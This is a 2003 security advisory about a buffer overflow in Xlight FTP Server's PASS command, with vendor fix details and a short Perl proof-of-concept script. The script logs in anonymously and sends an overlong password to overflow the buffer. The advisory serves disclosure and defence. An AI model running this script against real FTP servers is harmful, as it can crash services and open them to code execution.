Xlight FTP Server Buffer Overflow in PASS Command May Let Remote Authenticated Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1008544
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Dec 23 2003
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Impact: Execution of arbitrary code via network, User access via network
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Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
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Version(s): 1.41 and prior
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Description: A buffer overflow vulnerability was reported in Xlight FTP Server. A remote authenticated user may be able to execute arbitrary code.
SecuriTeam reported that a remote authenticated user, including an anonymous user, can send a specially crafted PASS command to trigger
a buffer overflow. The report did not specifically indicate if code execution has been confirmed or not.
STORM at SecurITeam
is credited with discovery.
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Impact: A remote user may be able to cause arbitrary code to be executed (but the report did not confirm whether code execution is possible or not).
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Solution: The vendor has released a fixed version (1.45), available at:
http://www.xlightftpd.com/download.htm
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Vendor URL: www.xlightftpd.com/ (Links to External Site)
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Cause: Boundary error
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Underlying OS: Windows (Any)
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Reported By: SecuriTeam <support@securiteam.com>
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Message History:
None.
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Source Message Contents
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Date: 22 Dec 2003 14:04:50 +0200
From: SecuriTeam <support@securiteam.com>
Subject: [NT] Xlight FTP Server PASS Buffer Overflow
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The following security advisory is sent to the securiteam mailing list, and can be found at the Secur
iTeam web site: http://www.securiteam.com
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Xlight FTP Server PASS Buffer Overflow
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SUMMARY
<http://www.xlightftpd.com/> Xlight FTP server is "a powerful ftp server
with very small program size". A buffer overflow vulnerability in the
product has been found allowing remote attackers to overflow an internal
buffer.
DETAILS
Vulnerable systems:
* Xlight FTP Server version 1.41 and prior
Immune systems:
* Xlight FTP Server version 1.45
By sending an overflow long PASS command a local buffer used in Xlight FTP
server can be overflowed.
Vendor status:
"We would like to inform you that we have release a new version of Xlight
ftp server 1.45 which includes solution for this buffer overflow problem.
Thanks for your alert.
Best regards,
Xlight ftp support
support@xlightftpd.com"
Exploit:
#!/usr/bin/perl
# Exploit for Xlight FTP server long PASS vulnerability
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => "ftp(21)",
);
unless ($remote) { die "cannot connect to ftp daemon on $host" }
$remote->autoflush(1);
print $remote "USER anonymous\r\n";
sleep(1);
$buf = "A"x54; # Min 54, Max 523
print $remote "PASS ".$buf."\r\n";
sleep(1);
close $remote;
ADDITIONAL INFORMATION
SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
finding this vulnerability.
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